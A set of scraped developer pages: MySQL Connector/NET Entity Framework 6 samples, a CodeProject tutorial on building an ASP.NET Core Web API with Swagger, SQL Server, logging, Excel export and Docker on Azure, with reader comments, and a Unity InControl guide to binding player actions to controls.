modelBuilder.Entity<EntityType>().MapToStoredProcedures();
Idempotent migrations scripts allow you to generate an SQL script that can upgrade a database at any version up to the latest version. To do so, run the
Update-Database -Script -SourceMigration: $InitialDatabasecommand in Package Manager Console.
Configurable Migrations History Table allows you to customize the definition of the migrations history table.
The following C# code example represents the structure of an Entity Framework 6 model.
using MySql.Data.Entity; using System.Data.Common; using System.Data.Entity; namespace EF6 { // Code-Based Configuration and Dependency resolution [DbConfigurationType(typeof(MySqlEFConfiguration))] public class Parking : DbContext { public DbSet<Car> Cars { get; set; } public Parking() : base() { } // Constructor to use on a DbConnection that is already opened public Parking(DbConnection existingConnection, bool contextOwnsConnection) : base(existingConnection, contextOwnsConnection) { } protected override void OnModelCreating(DbModelBuilder modelBuilder) { base.OnModelCreating(modelBuilder); modelBuilder.Entity<Car>().MapToStoredProcedures(); } } public class Car { public int CarId { get; set; } public string Model { get; set; } public int Year { get; set; } public string Manufacturer { get; set; } } }
The C# code example that follows shows how to use the entities from the previous model in an application that stores the data within a MySQL table.
using MySql.Data.MySqlClient; using System; using System.Collections.Generic; namespace EF6 { class Example { public static void ExecuteExample() { string connectionString = "server=localhost;port=3305;database=parking;uid=root"; using (MySqlConnection connection = new MySqlConnection(connectionString)) { // Create database if not exists using (Parking contextDB = new Parking(connection, false)) { contextDB.Database.CreateIfNotExists(); } connection.Open(); MySqlTransaction transaction = connection.BeginTransaction(); try { // DbConnection that is already opened using (Parking context = new Parking(connection, false)) { // Interception/SQL logging context.Database.Log = (string message) => { Console.WriteLine(message); }; // Passing an existing transaction to the context context.Database.UseTransaction(transaction); // DbSet.AddRange List<Car> cars = new List<Car>(); cars.Add(new Car { Manufacturer = "Nissan", Model = "370Z", Year = 2012 }); cars.Add(new Car { Manufacturer = "Ford", Model = "Mustang", Year = 2013 }); cars.Add(new Car { Manufacturer = "Chevrolet", Model = "Camaro", Year = 2012 }); cars.Add(new Car { Manufacturer = "Dodge", Model = "Charger", Year = 2013 }); context.Cars.AddRange(cars); context.SaveChanges(); } transaction.Commit(); } catch { transaction.Rollback(); throw; } } } } }
|
https://dev.mysql.com/doc/connector-net/en/connector-net-entityframework60.html
|
CC-MAIN-2019-47
|
en
|
refinedweb
|
There's been a breathtaking amount of progress on ASP.NET Core since it was released back in 2016, and each release seems to get better, friendlier and more developer-friendly.
Web APIs are a huge improvement on the old WCF services (and let's not even talk about SOAP...), and there are a wealth of "getting started" resources out there. Rather than reinventing that wheel, this article is just a "cheatsheet" of the steps you need to do, to do the following:
With the exception of the fifth item, these are the 4 steps I go through with each of my Web APIs, so I thought it'd be good to just document the steps you need to go through, as quickly and painlessly as possible, so we have more time to concentrate on doing the real work!
Now, I have provided a MikesBank.zip file containing the example code from this article, but I strongly advise you not to use it.
Visual Studio 2017 and ASP.NET Core are changing almost every month... it is a far better idea to create your own project from scratch and follow these instructions, using whatever new templates Microsoft is providing when you read this, than using the example I've provided, which is likely to be half out-of-date by the time you've finished reading this paragraph.
Happy reading!
To follow this article, you will need:
I would recommend that you update your copy of VS2017 and .NET Core before following these instructions. Whilst writing this article, I tried to import a "nuget" package, which VS2017 accepted quite happily... but then threw lots of compilation errors as the "nuget" package was more up-to-date than my version of .NET Core, and refused to work with my older version.
nuget
This has been covered so many times, and I'm sure you all know how to do this.
If you're using Visual Studio 2017:
MikesBank
width="500" alt="Image 2" data-src="/KB/api/5205692/2_CreateAPIproject.png" class="lazyload" data-sizes="auto" data->
If you're using Visual Studio 2019:
So... Visual Studio will create for you a basic API project, which returns some hardcoded data.
If you run the project in Chrome, you'll see a couple of items of JSON data. Wonderful.
However, if you're still using Internet Explorer, you might get a strange message asking "Do you want to open or save values.json (19 bytes) from localhost?" Yeah, it's 2019, and they're still doing this. I don't know why.
style="height: 274px; width: 640px" data-src="/KB/api/5205692/4_BasicProject_IE3.png" class="lazyload" data-sizes="auto" data->
As a developer, you can (and should) fix this, by adding the registry entries described in this StackOverflow article from 2010. This will make Internet Explorer actually display the JSON data, rather than nagging us about it.
So, we now have a starting point for our Web API. Now, let's make it better !
Given how developer-friendly Visual Studio is, I'm always surprised that "Create a Swagger page for my API" isn't provided as an option when we tell it that we're creating a Web API project. However, it's easy enough to add.
To add Swagger to your project:
swashbuckle.aspnetcore
Configure()
app.UseSwagger();
app.UseSwaggerUI(c =>
{
c.SwaggerEndpoint("/swagger/v1/swagger.json","MikesBank API");
c.RoutePrefix = string.Empty;
});
RoutePrefix
env
public Startup(IHostingEnvironment env, IConfiguration configuration)
{
Configuration = configuration;
this.env = env;
}
private IHostingEnvironment env { get; }
With this in place, we can make the changes to the ConfigureServices() function:
ConfigureServices()
public void ConfigureServices(IServiceCollection services)
{
services.AddMvc().SetCompatibilityVersion(CompatibilityVersion.Version_2_1);
var pathIncludeXmlComments =
$@"{env.ContentRootPath}\{env.ApplicationName}.xml";
services.AddSwaggerGen(c =>
{
c.SwaggerDoc("v1", new Swashbuckle.AspNetCore.Swagger.Info
{
Version = "v1",
Title = "MikesBank API",
Description = "For CodeProject"
});
if (System.IO.File.Exists(pathIncludeXmlComments))
c.IncludeXmlComments(pathIncludeXmlComments);
});
}
This is a little bloated, but gets around a problem with Swagger. It's often useful to have comments in our Web API controllers, which Swagger will display in its webpage. However, if this .xml file doesn't exist, it will completely crash our application, so I am taking care to only include the comments if this .xml file does exist.
;1591
1701;1702;1591
style="height: 377px; width: 600px" data-src="/KB/api/5205692/5_EnableXmlComments.png" class="lazyload" data-sizes="auto" data->
If you now run the project, you'll see the Swagger website, with the list of example endpoints which VS2017 has created for us.
style="height: 449px; width: 500px" data-src="/KB/api/5205692/6_SwaggerPagepng.png" class="lazyload" data-sizes="auto" data->
Looking good! If you wanted to run the simple "GET all values" function, you could click on the first GET line, click on the "Try it out" button, then the "Execute" button, and you'll see the Response body with the two hardcoded values, as before.
GET
Okay, it's not as sophisticated as Postman or Fiddler, but it's free, friendly, and really useful.
And getting Swagger to include comments on this page is as simple as appending a summary or remarks section above your endpoint:
summary
remarks
/// <summary>
/// This is the Summary, describing the endpoint
/// </summary>
/// <remarks>
/// These are the Remarks for the endpoint
/// </remarks>
[HttpGet]
public ActionResult<IEnumerable<string>> Get()
{
return new string[] { "value1", "value2" };
}
Just bear in mind that Swagger itself does get updated regularly, and (once again), by the time you read this, or if you're Googling for problems when your Swagger code doesn't build/display, do check the latest documentation.
Okay, now let's link our Web API to a SQL Server database. To do this, go into "nuget package manager" again, search for, and install these three packages:
Microsoft.EntityFrameworkCore.SqlServer
Microsoft.EntityFrameworkCore.Tools
Microsoft.EntityFrameworkCore.SqlServer.Design
If you prefer cut'n'pasting rather than searching, an alternative way of doing this is to click on Tools \ Nuget Package Manager \ Package Manager Console, and run the following 3 commands:
install-package Microsoft.EntityFrameworkCore.SqlServer
install-package Microsoft.EntityFrameworkCore.Tools
install-package Microsoft.EntityFrameworkCore.SqlServer.Design
Either way, this will add the 3 packages you need for connecting to SQL Server.
October 2019 update
I did warn you that this stuff moves fast... Since publishing this article (last month !) things have changed. If you try to download the latest version of these three packages, you'll be downloading versions which are only compatible with .Net Core 3.x. And this version of .Net Core only works if you're using VS2019 (not VS2017). So - if you're running Visual Studio 2017, make sure you choose slightly earlier versions of these packages, as these will be compatible with .Net Core 2.x.
(Microsoft: it would be helpful to change the NuGet Package Manager screen to specifically just show packages which are compatible with the version of .Net Core which the user has chosen to write their app in... rather than suggesting to them versions which your own Dependencies section already shows won't be compatible with their project...)
Now, I prefer using the "Database First" approach, where I already have a database "live and kicking", and then link it to my Web API. For this article, I have created a SQL Server database on my localhost server called "Southwind", and it contains four tables, Location, Department, Employee and Logging.
Southwind
Location
Department
Employee
Logging
If you want to follow along, I have provided a "Southwind.sql" script which will create this database, the tables, and the data for you.
style="height: 390px; width: 640px" data-src="/KB/api/5205692/7_DatabaseTables.png" class="lazyload" data-sizes="auto" data->
We can actually get Visual Studio to create the classes for us, based on the structure of these tables. To do this, open up the Package Manager Console (click on Tools \ Nuget Package Manager \ Package Manager Console), and enter the following command, replacing my connection string with a connection string for your own database:
Scaffold-DbContext "Server=localhost;Database=Southwind;
Trusted_Connection=True;" Microsoft.EntityFrameworkCore.SqlServer -OutputDir Models
This will magically create a "SouthwindContext" class for us, as well as four classes, one for each of the database tables. Note that, if you wanted, you could've asked for just some (but not all) of your database tables to have classes created for them, by using the -Tables parameter, then listing the table names.
SouthwindContext
-Tables
Scaffold-DbContext "Server=localhost;Database=Southwind;
Trusted_Connection=True;" Microsoft.EntityFrameworkCore.SqlServer
-OutputDir Models -Tables "Course","Lesson","User"
Note also that this Scaffold-DbContext command will not work if your code doesn't currently build successfully beforehand. So, check that your code is building okay before running that command.
Scaffold-DbContext
You can check out the other options here.
Next, we need to tell our appsettings.json file about our database connection, so open this file, and add this to the top:
"ConnectionStrings": {
"SouthwindDatabase": "Server=.;Database=Southwind;Trusted_Connection=True;"
},
Now, open up startup.cs, and add this to the ConfigureServices() function:
var ConnectionString = Configuration.GetConnectionString("SouthwindDatabase");
services.AddDbContext<SouthwindContext>(options =>
options.UseSqlServer(ConnectionString)
);
Before we proceed, we need to make sure this code is building successfully, but right now, it won't, as it's missing two using statements. You can either add them manually at the top of Startup.cs:
using
using Microsoft.EntityFrameworkCore;
using MikesBank.Models;
...or you can click on SouthwindContext and UseSqlServer in the code above, and use "CTRL" + "." to get Visual Studio to add the using statements for you.
UseSqlServer
If you try to Build again, it should now build successfully, and we can continue.
We now have all the building blocks to add database CRUD operations to our Web API.
Delete the ValuesController.cs file in the Controllers folder, then right-click on the Controllers folder, select Add \ Controller, select the last option "API Controller with actions, using Entity Framework", and click on Add.
Now, you can select one of your models, and get Visual Studio to create a set of endpoints for you. I'm going to select the Employee model:
style="height: 178px; width: 500px" data-src="/KB/api/5205692/8_AddController.png" class="lazyload" data-sizes="auto" data->
Then click on the "Add" button, and, just like that, we have a set of CRUD endpoints for one of our tables.
We can even go into the controller file ("EmployeeController.cs", in my example), and modify the comments, to make it more Swagger-friendly. Just delete the existing comment, then, with the cursor on an empty line just above [HttpGet], type ///, and Visual Studio will provide you with placeholders to type in your comments.
[HttpGet]
///
/// <summary>
/// Load a list of all employee records from the database
/// </summary>
/// <returns>
/// An enumerable list of Employee records
/// </returns>
[HttpGet]
public async Task<ActionResult<IEnumerable<Employee>>> GetEmployee()
{
return await _context.Employee.ToListAsync();
}
If we run our project now, the Swagger page will appear, we can select the GET endpoint for Employees, and get a list of all employees.
Employees
employees
One small change I (personally) would make at this point: normally, when I'm getting a list of Employee records, I don't want the entire hierarchy included for each record (which department each employee belongs to, and which location that department is in), I just want the Employee record, nothing more.
department
employee
location
You can prevent this entire hierarchy from being serialized by opening up the Employee.cs file, and adding a [JsonIgnore] before the virtual fields (you'll also need to use the CTRL + "." trick to get Visual Studio to add a using statement for this):
[JsonIgnore]
virtual
[JsonIgnore]
public virtual Department Dep { get; set; }
[JsonIgnore]
public virtual Employee EmpManager { get; set; }
[JsonIgnore]
public virtual ICollection<Employee> InverseEmpManager { get; set; }
You can also change the AddMvc() settings in Startup.cs, to prevent JSON.Net getting a little carried away with fetching too many parents/owners of each Employee record:
AddMvc()
services.AddMvc()
.SetCompatibilityVersion(CompatibilityVersion.Version_2_2)
.AddJsonOptions(
options => options.SerializerSettings.ReferenceLoopHandling =
Newtonsoft.Json.ReferenceLoopHandling.Ignore
);
With this change in place, I just receive a list of Employee records, nothing else.
style="height: 541px; width: 550px" data-src="/KB/api/5205692/9_EmployeeRecords.png" class="lazyload" data-sizes="auto" data->
And that's how we make our Web API connect to, and read/write data to our SQL Server database. I'd love to take credit for this, but as you've seen, Visual Studio does (nearly) all the work for us. We just have to remember the steps to take.
Now, I really don't like it when an error/exception occurs, and the error string just goes to some random .txt file stored somewhere on the IIS server. It's far more useful to have the message sent to a Logging table on SQL Server, so we can track such problems, perhaps list them on a "Log viewer" screen for our Admins to keep track of, save the Stack Trace, and so on.
Of course, there is a gotcha: if the exception is thrown because we can't connect to our database, then... well.... the exception message surely isn't going to get stored in the database, as it can't find it !
Of course, we could reach out to a third-party, like nLog, to handle our logging, but personally, I prefer to do it myself.
nLog
First, as you've seen, I have a Logging table in my SQL Server database.
There's nothing over-complicated about this. The Log_Severity, the (exception) Log_Message and the Log_StackTrace fields will all come from whatever exception has just occurred, and I have a "Log_Source" field, which we could populate to say which area of the application threw the exception.
Log_Severity
Log_Message
Log_StackTrace
Log_Source
Oh, and my "Update_Time" fields (I have one in each of my tables) always contain the date time in UTC timezone. We might well have users in different countries, who'll want to know when an exception occurred, in their local time.
Update_Time
timezone
To use this (or any other) table structure in our code, here's what we need to do.
MikesBank.LogProvider
using MikesBank.LogProvider;
public void Configure(IApplicationBuilder app,
IHostingEnvironment env, ILoggerFactory loggerFactory)
We can now add the following lines to the Configure() function:
loggerFactory.AddConsole(Configuration.GetSection("Logging"));
// The following "AddContext" comes from our DBLoggerExtensions class.
// We will log any errors of Information of higher.
// (Trace=0, Debug=1, Information=2, Warning=3, Error=4, Critical=5, None=6)
loggerFactory.AddContext(LogLevel.Information,
Configuration.GetConnectionString("SouthwindDatabase"));
At this point, if you try to build your project, you'll probably get an error saying that ILoggerFactory doesn't contain a definition for "AddContext". To fix this, we need to tell it where our extension method is. At the top of Startup.cs, add this line:
ILoggerFactory
AddContext
Now, let's give this a go.
In the EmployeesController.cs, I can now add logging. To do this, I need to add a new variable:
private readonly ILogger logger;
...as well as a new using statement....
using Microsoft.Extensions.Logging;
And then, I can modify the constructor:
public EmployeesController(SouthwindContext context, ILoggerFactory loggerFactory)
{
_context = context;
logger = loggerFactory.CreateLogger<EmployeesController>();
}
And that's it!
You can now happily slip is as many LogInformation, LogWarning or LogErrors as you want. For example:
LogInformation
LogWarning
LogErrors
[HttpGet]
public async Task<ActionResult<IEnumerable<Employee>>> GetEmployee()
{
logger.LogInformation("Loading a list of Employee records");
return await _context.Employee.ToListAsync();
}
Just one annoying problem though. After running this code, and calling the GET endpoint, I do get the "Loading a list of Employee records" message in my Logging table, but I also get a load of messages from behind the scenes. Personally, I find that these make it incredibly hard to find the Log messages which I actually am interested in, and prefer to turn these off.
Log
style="height: 322px; width: 640px" data-src="/KB/api/5205692/9.2_SQLServerLogging.png" class="lazyload" data-sizes="auto" data->
To do this, you can go into the appsettings.Development.json file, and modify which type of log messages will be included from the Microsoft and System libraries. If you change these to "Warning", then your log won't fill up with all of these extra Entity Framework messages.
{
"Logging": {
"LogLevel": {
"Default": "Debug",
"System": "Warning",
"Microsoft": "Warning"
}
}
}
Obviously, this is optional, and perhaps you will want to see such verbose information in, say, the Development build. It's up to you.
One last thing.
One of my biggest irritations with some APIs is the dreaded "HTTP Response 500: Internal Server Error". When your own API throws this exception, this is often because something has gone wrong, and your code hasn't bothered to catch the problem, or handle it gracefully.
And, of course, because you haven't caught the exception, you certainly won't have tried to send it to the log, so that your developers and support team can look into the cause. So, please, wrap each of your endpoints in a try...catch, and make sure any exception messages end up in your Logging table.
try...catch
It's so easy to do, but will save a lot of hair-pulling later.
public async Task<ActionResult<IEnumerable<Employee>>> GetEmployee()
{
try
{
logger.LogInformation("Loading a list of Employee records");
return await _context.Employee.ToListAsync();
}
catch (Exception ex)
{
logger.LogError(ex, "An exception occurred in the GetEmployee() endpoint");
return new BadRequestObjectResult(ex.Message);
}
}
Obviously, in a Production release, you might not want to return the full exception message, as above, and you can modify this as you find suitable.
Yeah, I know... chances are, none of us are going to add a Web API endpoint which returns a raw Excel file, containing all the data from one of your tables. But, we've got this far, and because it's so damn easy, let's just see how we would do this. If nothing else, this is useful for your other ASP.NET Core projects.
First, we need to go into "NuGet Package Manager" one last time, and install the "DocumentFormat.OpenXml" package. This lets us create Excel files (*.xlsx) even if we don't have Excel on our server.
DocumentFormat.OpenXml
Next, create a folder in your project called Helpers and save the attached CreateExcelFile.cs into this folder.
Helpers
This C# library was the "Export to Excel" library that I wrote back in 2014, and you can read more about it in my CodeProject article.
With this file in place, we're ready to go.
To add an Export endpoint to our controller is as simple as loading our data, then calling the StreamExcelDocument function, passing it the data to be exported, and the filename to use:
StreamExcelDocument
[HttpGet("ExportToExcel")]
public async Task<IActionResult> ExportEmployeesToExcel()
{
try
{
List<Employee> employees = await _context.Employee.ToListAsync();
FileStreamResult fr = ExportToExcel.CreateExcelFile.StreamExcelDocument
(employees, "Employees.xlsx");
return fr;
}
catch (Exception ex)
{
return new BadRequestObjectResult(ex);
}
}
How simple is that !!
style="height: 329px; width: 640px" data-src="/KB/api/5205692/9.3_ExportToExcel.png" class="lazyload" data-sizes="auto" data->
As someone who has worked in the financial industry, let me tell you, having a simple, reusable "Export to Excel" function is golden. It's the first function that my clients would ask for, every single time... they love their Excel !
When I first started looking into Docker support, I really thought this'd be straightforward. After all, when you create your project in Visual Studio 2017 or 2019, it asks if you want Docker support. From there, it's really easy to use "Publish" to publish the application as a Docker image to Azure. So this must be really easy.
It's not.
First of all, when you create your Project and say that you do want Docker support, you're likely to say that you want it for Windows (rather than Linux). This creates a file called Dockerfile for you, but (at the time of writing) the version of .NET Core which it gives you isn't supported in Azure. As such, when you Publish to Azure, you'll see your app list in your Azure Portal as a new "Container Registry".... but Azure won't be able to run it.
There is actually an option to Run an instance of this Registry, but actually discovering this option is not so clear.
Worst still, if something goes wrong, the error message is all but useless.
What the heck does that mean?
To find out what caused the error, you need to click on the ">" button at the top-right of the Azure window, and run the following command:
az group deployment operation list
--resource-group <YourResourceGroup> --name Microsoft.ContainerInstance
This will then show you a lengthy JSON message, containing the error:
width="650" data-src="/KB/api/5205692/9_AzureErrorMessageJSON2.png" class="lazyload" data-sizes="auto" data->
(I PhotoShopped this lengthy error message onto two lines, so you can easily read it.)
Ah, okay. So, Visual Studio has created a Container Registry for us, but using a version of Windows which it doesn't actually support. I'm sure the usability of this could be improved....
The cause of this problem seems to be the Dockerfile file which Visual Studio created for us. It mentions versions of the dotnet core SDK and runtime which are higher than what Azure supports.
We can fix this by changing the first lines to:
FROM mcr.microsoft.com/dotnet/core/runtime:2.2-nanoserver-sac2016 AS base
WORKDIR /app
EXPOSE 80
EXPOSE 443
FROM mcr.microsoft.com/dotnet/core/sdk:2.2-nanoserver-sac2016 AS build
WORKDIR /src
COPY ["MikesBank/MikesBank.csproj", "MikesBank/"]
... etc ...
With this change in place, you can re-publish to Azure, and run an instance of this new container registry.
We are also able to run the Docker Registry on our own local copy of Windows. To do this, make sure you have Docker For Windows and the Azure CLI installed, then follow these steps:
So, overall the commands would look something like the following (obviously, you'll need to specify the names Azure has created for your own copy of the Registry):
az account set --subscription <subscription_id>
az login
az acr login --name MikesBank20190925022604
docker pull mikesbank20190925022604.azurecr.io/mikesbank:latest
docker run mikesbank:latest
docker image ls
docker inspect -f "{{ .NetworkSettings.Networks.nat.IPAddress }}" <container_id>
Phew. At the end of all that, you will have the IP address which you can open in your browser, and see the Swagger page. Nice!
We now have a nice ASP.NET Core Web API project, with a friendly Swagger page, a SQL Server connection, and Logging. Plus "Export to Excel", if we really want to impress at our next job interview, and to be able to tell them that your APIs support "CRUDE".
Feel free to get in touch, and leave comments/suggestions.
This article, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)
services.AddMvc()
.SetCompatibilityVersion(CompatibilityVersion.Version_2_2)
.AddJsonOptions(
options => options.SerializerSettings.ReferenceLoopHandling =
Newtonsoft.Json.ReferenceLoopHandling.Ignore
);
services.AddMvc()
.AddNewtonsoftJson();
Restoring packages for C:\src\WebBankApp\WebBankApp.csproj...
C:\Program Files\dotnet\sdk\2.2.104\NuGet.targets(114,5): Error : Unable to load the service index for source. [C:\src\WebBankApp\WebBankApp.csproj]
C:\Program Files\dotnet\sdk\2.2.104\NuGet.targets(114,5): Error : A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond [C:\src\WebBankApp\WebBankApp.csproj]
The command 'powershell -Command $ErrorActionPreference = 'Stop'; $ProgressPreference = 'SilentlyContinue'; dotnet restore "WebBankApp/WebBankApp.csproj"' returned a non-zero code: 1
C:\Users\wofeaoh\.nuget\packages\microsoft.visualstudio.azure.containers.tools.targets\1.4.10\build\Container.targets(164,5): Error MSB3073: The command "docker build -t "webbankapp" -f "Dockerfile" --label "com.microsoft.created-by=visual-studio" ".."" exited with code 1.
2>Build failed. Check the Output window for more details.
========== Build: 1 succeeded, 0 failed, 0 up-to-date, 0 skipped ==========
========== Publish: 0 succeeded, 1 failed, 0 skipped ==========
return NotFound();
General News Suggestion Question Bug Answer Joke Praise Rant Admin
Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages.
|
https://www.codeproject.com/Articles/5205692/Web-API-Adding-Swagger-SQL-Server-Logging-Export-t
|
CC-MAIN-2019-47
|
en
|
refinedweb
|
Find the value of a dictionary entry based on the entry's key (returns a string)
#include <strm.h> const char *strm_dict_find_value( const strm_dict_t *dict, const char *key );
libstrm
The function strm_dict_find_value() returns the value of the dictionary entry specified by the key argument. The returned string is owned by the dictionary, and remains valid until the dictionary handle is destroyed.
The value (as a string) of the dictionary entry specified by the key parameter if the entry is found, or a null pointer if it isn't found.
QNX Neutrino
|
http://www.qnx.com/developers/docs/qnxcar2/topic/com.qnx.doc.mme.mmrenderer/com.qnx.doc.mme.mmrenderer/topic/dict_obj_api/strm_dict_find_value.html
|
CC-MAIN-2019-47
|
en
|
refinedweb
|
As of version 1.5.0, InControl has a new bindings API which supports binding controls to actions, allows rebinding controls at runtime and includes the ability to listen for new bindings on demand. Bindings can include mouse input, keyboard input and any of the standard or non-standard controls for supported devices.
Unknown devices cannot be bound since their input mappings are unknown and uncalibrated. A solution for this problem is coming soon.
For an example, see the “Bindings” example at
InControl/Examples/Bindings.
To understand this part of the API, it helps to mentally separate actions in your game (such as “Move Left” or “Jump”) from specific controls (such as “DPad Left” or the “A” face button).
A set of actions are represented by a subclass of the
PlayerActionSet class. An action set could be the actions for a single player, or something less specific like your user interface controls. Similarly, each player in a multiplayer game would likely have its own action set. You may have any number of action sets. They merely serve as a logical grouping of actions. Action sets can be easily saved and loaded along with their actions and bindings.
Actions are represented by instances of the
PlayerAction class. Actions can be bound to one or more controls represented by instances of one of the subclasses of
BindingSource, although typically you would rarely, if ever, deal directly with these subclasses.
Let's work through a simple example as an illustration. Let's say you have a simple platformer-style game. The basic actions your character has is “Move Left”, “Move Right” and “Jump”.
First we need to create a subclass of
PlayerActionSet called
MyCharacterActions that defines these actions:
public class MyCharacterActions : PlayerActionSet { public PlayerAction Left; public PlayerAction Right; public PlayerAction Jump; }
Next, in the constructor for our new class, we need to create the instances for these actions. Note, that it is necessary due to internal initialization that this be done in the constructor rather than in the member definitions themselves.
public class MyCharacterActions : PlayerActionSet { public PlayerAction Left; public PlayerAction Right; public PlayerAction Jump; public MyCharacterActions() { Left = CreatePlayerAction( "Move Left" ); Right = CreatePlayerAction( "Move Right" ); Jump = CreatePlayerAction( "Jump" ); } }
Finally, because in our game it might be more convenient to add a single value to our sprite's horizontal position, so in addition to the
Left and
Right actions, we'll create a special filter action that combines the two into a single axis we can query easily:
public class MyCharacterActions : PlayerActionSet { public PlayerAction Left; public PlayerAction Right; public PlayerAction Jump; public PlayerOneAxisAction Move; public MyCharacterActions() { Left = CreatePlayerAction( "Move Left" ); Right = CreatePlayerAction( "Move Right" ); Jump = CreatePlayerAction( "Jump" ); Move = CreateOneAxisPlayerAction( Left, Right ); } }
This special
PlayerOneAxisAction will not itself be bound to controls, but its two child actions
Left and
Right will be. There is also a
PlayerTwoAxisAction which is useful for 2D vector directional controls.
Next, we need to create an instance of our custom action set. We could have more than one instance, for example, in a multiplayer game each player could have an instance of this class. For the purposes of our example, we only need one. We'll add it to our character controller class.
public class CharacterController : MonoBehaviour { MyCharacterActions characterActions; void Start() { characterActions = new MyCharacterActions(); } }
At this point, we have the object representing our actions, but they have no controls bound. Let's bind a few default controls. We'll add gamepad controls and keyboard controls for each action:
public class CharacterController : MonoBehaviour { MyCharacterActions characterActions; void Start() { characterActions = new MyCharacterActions(); characterActions.Left.AddDefaultBinding( Key.LeftArrow ); characterActions.Left.AddDefaultBinding( InputControlType.DPadLeft ); characterActions.Right.AddDefaultBinding( Key.RightArrow ); characterActions.Right.AddDefaultBinding( InputControlType.DPadRight ); characterActions.Jump.AddDefaultBinding( Key.Space ); characterActions.Jump.AddDefaultBinding( InputControlType.Action1 ); } }
Great! We'll see how we can rebind those controls at runtime later, but for now let's just put them to use. Actions behave almost exactly like instances of
InputControl, so we can query them the same way.
public class CharacterController : MonoBehaviour { MyCharacterActions characterActions; void Start() { // ... } void Update() { if (characterActions.Jump.WasPressed) { PerformJump(); } // We use the aggregate filter action here. // It combines Left and Right into a single axis value // in the range -1 to +1. PerformMove( characterActions.Move.Value ); } void PerformJump() { // ... } void PerformMove( float x ) { // ... } }
And that's it! We've defined actions for our player character and bound each action to multiple controls.
Note: It is important to call
Destroy() on your action set if you no longer need it, otherwise it will add additional updating overhead. This can become a serious slowdown problem if you create a lot of them over the lifecycle of your application and never properly dispose of them.
By default, the device binding source will read from
InputManager.ActiveDevice, the device which last provided input, which is perfect for single player games. This can be overriden by explicitly setting the
Device property on the action set. The default value of
null means use the current active device. Keyboard and mouse binding sources will naturally ignore this device for the action set. The device is merely an optional context, however, an action set cannot be assigned more than one gamepad device.
Next, we'll look at more advanced topics like rebinding at runtime, iterating through all the actions and bindings for user interface purposes, as well as saving and loading the complete state of an action set.
|
http://www.gallantgames.com/pages/incontrol-binding-actions-to-controls
|
CC-MAIN-2019-47
|
en
|
refinedweb
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.